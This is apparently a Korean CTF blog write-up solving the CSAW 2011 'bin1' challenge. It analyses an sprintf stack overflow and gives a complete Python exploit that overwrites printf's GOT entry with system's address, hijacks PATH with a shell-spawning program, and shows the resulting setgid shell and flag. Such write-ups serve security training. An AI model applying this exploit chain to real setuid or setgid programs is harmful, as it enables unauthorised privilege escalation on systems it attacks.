CTF

CSAW CTF Quals 2011 - bin1

pwn3r_45 2011. 9. 27. 00:13
Category : Pwnables

NULL

Summary : simple buffer overflow on Ubuntu , got overwriting with sprintf


Server info


user20280@ubuntu:~$ uname -a
Linux ubuntu 2.6.38-11-generic #50-Ubuntu SMP Mon Sep 12 21:18:14 UTC 2011 i686 i686 i386 GNU/Linux

서버 환경은 Ubuntu 이지만 ASLR이 disable된상태이다.

주어진 파일은 flag user에 setgid가 걸린 bin1 뿐이다. Hex-Ray를 이용해 디컴파일하여 분석할 수 있다.

void main(int argc, char **argv)
{
  if ( argc == 2 )
  {
    puts(":)\n");
  }
  else
  {
    if ( argc == 1 )
      puts(":(\n");
  }
  vv(argv[1]);
  exit(0);
}

int vv(const char *name)
{
  int rand_var;
  char *env; 
  char buffer[512];
  unsigned int seed;

  if ( !name || strcmp("MOTR", name) )
  {
    seed = time(0);
    srand(seed);
    rand_var = rand() % 10;
    sprintf(&buffer, "%s\n", array[4 * rand_var]);
  }
  else
  {
    env = getenv(name);
    if ( !env )
      exit(1);

    sprintf(&buffer, "%s\n", env); // Vuln !!
  }
  return printf("%s", &buffer);
}


코드는 매우 간결하다. argv[1]에 "MOTR"이란 문자열을 넘겨주면 , "MOTR" 환경변수의 포인터를 받아와 sprintf를 이용해 지역변수에 출력을 저장한다.
하지만 env환경변수에는 지역변수의 크기를 넘는 데이터를 맘대로 넣을 수 있기때문에 overflow취약점이 발생한다.
sprintf함수를 수행하면서 입력글자뒤에 "\n"이 붙어버려서 , 페이로드에서 마지막글자에도 NULL을 넣어줄 수 없기때문에 Ascii armor가 enable되어있는 libc는 사용할 수 없다.

그래서 sprintf@plt를 이용해 특정함수의 got 에 system함수의 주소를 overwrite하고 마지막에 해당함수의 plt를 호출하는 페이로드를 구성하기로 했다. 
마침 , ASLR이 꺼져있기때문에 system함수의 주소에 해당하는 byte들을 메모리에서 찾을 필요없이 , 환경변수에 등록시켜두고 복사시키기로했다.


call   0x80483c8 <sprintf@plt> // snprintf@plt

(gdb) x/3i 0x08048502 // pop - pop - ret for call
   0x8048502 <__do_global_dtors_aux+82>: pop    %ebx
   0x8048503 <__do_global_dtors_aux+83>: pop    %ebp
   0x8048504 <__do_global_dtors_aux+84>: ret 

(gdb) p system // system@libc
$1 = {<text variable, no debug info>} 0x16f950 <system>

call   0x8048418 <
printf@plt>
(gdb) disas 0x8048418
Dump of assembler code for function
printf@plt:
   0x08048418 <+0>: jmp    *0x804a014 // printf@got
   0x0804841e <+6>: push   $0x28
   0x08048423 <+11>: jmp    0x80483b8

(gdb) x/s 0x80488eb
0x80488eb:  "MOTR" // argument for printf (it will finally be used to system("MOTR");)

system@libc 주소가 0x16f950 이다. 이를 환경변수에 등록시켜둔다.

user20280@ubuntu:~$ export PWN3R=`python -c 'print "\x50\xf9\x16"'`

그러므로 최종페이로드는 다음과 같다.

[sprintf@plt] + [ppr] + [printf@got] + [&env] + [printf@plt] + [aaaa] + [&"MOTR"]

system@libc 주소가 들어있는 환경변수의 주소를 정확히 구하기보단 파이썬 스크립트를 작성하여 브루트포싱하였다.


user20280@ubuntu:~$ cat MOTR.c
#include <stdio.h>

int main()
{
 setreuid(getuid(), geteuid());
 execl("/bin/sh" , "sh" , NULL);
}
user20280@ubuntu:~$ gcc -o MOTR MOTR.c
user20280@ubuntu:~$ export PATH=./:$PATH 


쉘을 실행하는 MOTR이라는 프로그램을 만들고 PATH 환경변수에 현재디렉토리를 최우선으로 설정한다.


exploit.py

#!/usr/bin/python

import os
import time

def pack(data):
 res = ""
 for i in range(0,4):
  res = res + chr(data % 0x100)
  data = data / 0x100
 return res

TARGET = "/home/user20280/bin1"

sprintf = 0x080483c8
ppr = 0x08048502
printf_got = 0x0804a014
printf_plt = 0x08048418
string = 0x80488eb

os.putenv("pwn","\x50\xf9\x16")

for env in range(0xbfffffff , 0xbfffe000 , -1):
 if "\x00" in pack(env):
  continue
 else:
  time.sleep(0.1)
  payload = "a"*532
  payload += pack(sprintf) + pack(ppr) + pack(printf_got) + pack(env)
  payload += pack(printf_plt) + "aaaa" + pack(string)
  os.putenv("MOTR" , payload)
  pid = os.fork()
  if pid == 0:
   os.execv(TARGET , ("pwn" , "MOTR"))
  else:
   os.waitpid(pid , 0)



user20280@ubuntu:~$ ./exploit.py
:)

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaȃ… ÿÿÿ„aaaa놄
..............................
..............................
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaȃ… 瀿¿„aaaa놄
:)

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaȃ… 怿¿„aaaa놄
:)

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaȃ… 倿¿„aaaa놄
$ id
uid=20280(user20280) gid=20280(user20280) egid=19999(flag) groups=20280(user20280)
$ cat key
key{Hack_the_planet_now}


Flag : Hack_the_planet_now